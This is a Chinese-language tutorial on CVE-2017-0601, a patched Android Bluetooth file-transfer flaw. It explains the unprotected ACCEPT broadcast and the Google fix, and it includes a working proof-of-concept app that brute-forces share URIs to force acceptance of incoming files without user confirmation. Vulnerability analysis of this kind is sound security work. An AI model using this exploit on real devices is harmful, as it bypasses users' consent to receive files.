蓝牙App漏洞系列分析之一CVE20170601
字数 1298 2025-08-22 18:37:22
CVE-2017-0601蓝牙App漏洞分析与利用教学文档
漏洞概要
- CVE编号: CVE-2017-0601
- BugID: A-35258579
- 严重性: 中危
- 影响范围:
- 所有Google设备
- 更新的AOSP版本: 7.0, 7.1.1, 7.1.2
- 漏洞类型: 蓝牙提权漏洞
- 漏洞效果: 本地恶意App可绕过用户交互,强制接收外部传入的蓝牙文件
漏洞背景
该漏洞由MS509团队提交,并在2017年5月的Android安全公告中被修复。它利用了Android蓝牙文件传输(OBEX Object Push Profile, OPP)功能中的一个设计缺陷。
漏洞分析
1. 漏洞组件
蓝牙App暴露了一个广播接收器:
com.android.bluetooth.opp.BluetoothOppReceiver
2. 关键问题
该接收器的onReceive方法处理多种Intent Action,但android.btopp.intent.action.ACCEPT这个Action未被保护,允许普通应用发送。
3. 受保护与未保护的Action对比
-
受保护的Action示例:
adb shell am broadcast -a android.btopp.intent.action.OPEN会抛出安全异常:
java.lang.SecurityException: Permission Denial: not allowed to send broadcast android.btopp.intent.action.OPEN... -
未受保护的Action:
adb shell am broadcast -a android.btopp.intent.action.ACCEPT可以正常执行,无权限检查
4. 关键代码分析
当接收到ACTION_ACCEPT时,蓝牙App会:
- 从Intent中获取Uri
- 更新ContentProvider中对应记录的状态为"已确认"
- 取消相关通知
关键代码段:
else if (action.equals(Constants.ACTION_ACCEPT)) {
if (V) Log.v(TAG, "Receiver ACTION_ACCEPT");
Uri uri = intent.getData();
ContentValues values = new ContentValues();
values.put(BluetoothShare.USER_CONFIRMATION,
BluetoothShare.USER_CONFIRMATION_CONFIRMED);
context.getContentResolver().update(uri, values, null, null);
cancelNotification(context, uri);
}
5. 蓝牙文件共享Provider
- URI:
content://com.android.bluetooth.opp/btopp - 权限:
android.permission.ACCESS_BLUETOOTH_SHARE - 功能: 记录蓝牙文件传输的状态信息
漏洞利用
利用原理
- 当通过蓝牙接收文件时,系统会创建一条新记录
- 该记录初始状态为"待确认"
- 通过发送
ACTION_ACCEPT广播并指定正确的Uri,可以强制将状态改为"已确认" - 系统会认为用户已确认接收文件
利用难点
需要知道正在传输的文件的Uri,通常格式为:
content://com.android.bluetooth.opp/btopp/[ID]
PoC实现
public class MainActivity extends AppCompatActivity {
Button m_btnAccept = null;
public static final String ACTION_ACCEPT = "android.btopp.intent.action.ACCEPT";
public static final String BLUETOOTH_SHARE_URI = "content://com.android.bluetooth.opp/btopp/";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
m_btnAccept = (Button)findViewById(R.id.accept);
m_btnAccept.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppReceiver"));
intent.setAction(ACTION_ACCEPT);
// 暴力猜测正在传输的文件的Uri
for (int i = 0 ; i < 255; i++) {
String uriString = BLUETOOTH_SHARE_URI + Integer.toString(i);
intent.setData(Uri.parse(uriString));
sendBroadcast(intent);
}
}
});
}
}
测试方法
- 通过蓝牙向目标设备发送文件
- 当出现接收确认对话框时(约持续1分钟)
- 运行PoC应用
- 文件将自动被接收,无需用户确认
漏洞修复
Google在Framework的AndroidManifest.xml中将ACCEPT和DECLINE Action添加为受保护广播:
<protected-broadcast android:name="android.btopp.intent.action.ACCEPT" />
<protected-broadcast android:name="android.btopp.intent.action.DECLINE" />
时间线
- 漏洞发现与报告: 2017年5月前
- 修复发布: 2017年5月Android安全公告
防御建议
- 及时更新Android系统补丁
- 对于无法更新的设备,可考虑禁用蓝牙文件传输功能
- 监控应用对蓝牙相关组件的调用
扩展思考
该漏洞展示了Android系统中:
- 广播权限控制的重要性
- ContentProvider的设计安全考虑
- 用户交互绕过可能带来的安全问题
- 系统组件间通信的安全边界定义